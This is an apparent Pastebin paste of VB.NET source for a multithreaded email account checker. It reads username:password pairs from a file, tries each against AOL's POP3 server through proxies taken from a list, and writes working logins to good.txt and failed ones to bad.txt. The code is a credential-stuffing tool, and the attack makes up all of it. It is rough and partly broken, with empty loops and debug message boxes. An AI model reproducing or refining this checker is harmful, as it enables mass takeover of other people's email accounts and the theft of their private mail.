Advertisement
Guest User

Untitled

a guest
Sep 27th, 2017
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.41 KB | None | 0 0
  1. Imports System.IO
  2. Imports System.Threading
  3.  
  4. Public Class Form1
  5.  
  6.  
  7.  
  8. Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  9.  
  10. For i = 1 To 20
  11.  
  12. ThreadPool.QueueUserWorkItem(AddressOf WorkSub, i)
  13.  
  14. Next
  15.  
  16. End Sub
  17.  
  18.  
  19.  
  20. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  21.  
  22.  
  23. End Sub
  24.  
  25.  
  26. Sub WorkSub()
  27.  
  28.  
  29. Dim LineOfText As String = "test.txt"
  30. Dim LineOfText1 As String = "proxy.txt"
  31.  
  32.  
  33.  
  34. Static SW As New System.IO.StreamReader(LineOfText)
  35. Static SW1 As New System.IO.StreamReader(LineOfText1)
  36.  
  37. Dim j As Integer
  38. Dim aryTextFile1() As String
  39. Dim TextLine1 As String
  40.  
  41. If System.IO.File.Exists(LineOfText1) = True Then
  42.  
  43. If SW1.Peek() <> -1 Then
  44. TextLine1 = SW1.ReadLine()
  45.  
  46. aryTextFile1 = TextLine1.Split(":")
  47. For j = 0 To UBound(aryTextFile1)
  48.  
  49.  
  50.  
  51. Next j
  52.  
  53.  
  54. Dim i As Integer
  55. Dim aryTextFile() As String
  56. Dim TextLine As String
  57. Dim mailman As New Chilkat.MailMan()
  58.  
  59.  
  60. mailman.HttpProxyHostname = aryTextFile1(0)
  61. MsgBox(mailman.HttpProxyHostname)
  62. mailman.HttpProxyPort = aryTextFile1(1)
  63. MsgBox(mailman.HttpProxyPort)
  64.  
  65.  
  66. If System.IO.File.Exists(LineOfText) = True Then
  67.  
  68. If SW.Peek() <> -1 Then
  69. TextLine = SW.ReadLine()
  70.  
  71. aryTextFile = TextLine.Split(":")
  72. For i = 0 To UBound(aryTextFile)
  73.  
  74.  
  75.  
  76. Next i
  77.  
  78.  
  79. ' The mailman object is used for receiving (POP3)
  80. ' and sending (SMTP) email.
  81. Dim http As New Chilkat.Http()
  82.  
  83. ' Any string argument automatically begins the 30-day trial.
  84. Dim success As Boolean
  85. success = http.UnlockComponent("Anything for 30-day trial")
  86. If (success <> True) Then
  87. MsgBox("Component unlock failed")
  88. Exit Sub
  89. Else
  90.  
  91. End If
  92.  
  93.  
  94.  
  95.  
  96. '
  97.  
  98. ' You may explicitly begin and end POP3 sessions by calling
  99. ' Pop3BeginSession and Pop3EndSession. However,
  100. ' if a method is called that requires a connection to the POP3
  101. ' server, the connection and session will become established
  102. ' automatically. Therefore, it is not required to explicitly call
  103. ' Pop3BeginSession and Pop3EndSession.
  104.  
  105.  
  106. mailman.MailHost = "pop.aol.com"
  107.  
  108. ' Set the POP3 login/password.
  109. mailman.PopUsername = aryTextFile(0)
  110. MsgBox(mailman.PopUsername)
  111. mailman.PopPassword = aryTextFile(1)
  112. MsgBox(mailman.PopPassword)
  113.  
  114. ' Send the HTTP GET and return the content in a string.
  115.  
  116. success = mailman.Pop3BeginSession()
  117. If (success <> True) Then
  118.  
  119.  
  120.  
  121. LineOfText = String.Join(":", aryTextFile)
  122. MsgBox(LineOfText)
  123.  
  124. MsgBox("Not Success")
  125. Dim swriter As StreamWriter
  126. swriter = File.AppendText("bad.txt")
  127. swriter.WriteLine(LineOfText)
  128. swriter.Close()
  129.  
  130.  
  131. Else
  132. LineOfText = String.Join(":", aryTextFile)
  133. MsgBox("success")
  134. Dim swriter As StreamWriter
  135. swriter = File.AppendText("good.txt")
  136. swriter.WriteLine(LineOfText)
  137. swriter.Close()
  138.  
  139. End If
  140.  
  141.  
  142.  
  143. End If
  144.  
  145. ' Print the HTML source that was downloaded.
  146.  
  147. End If
  148.  
  149. End If
  150.  
  151. End If
  152. End Sub
  153. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement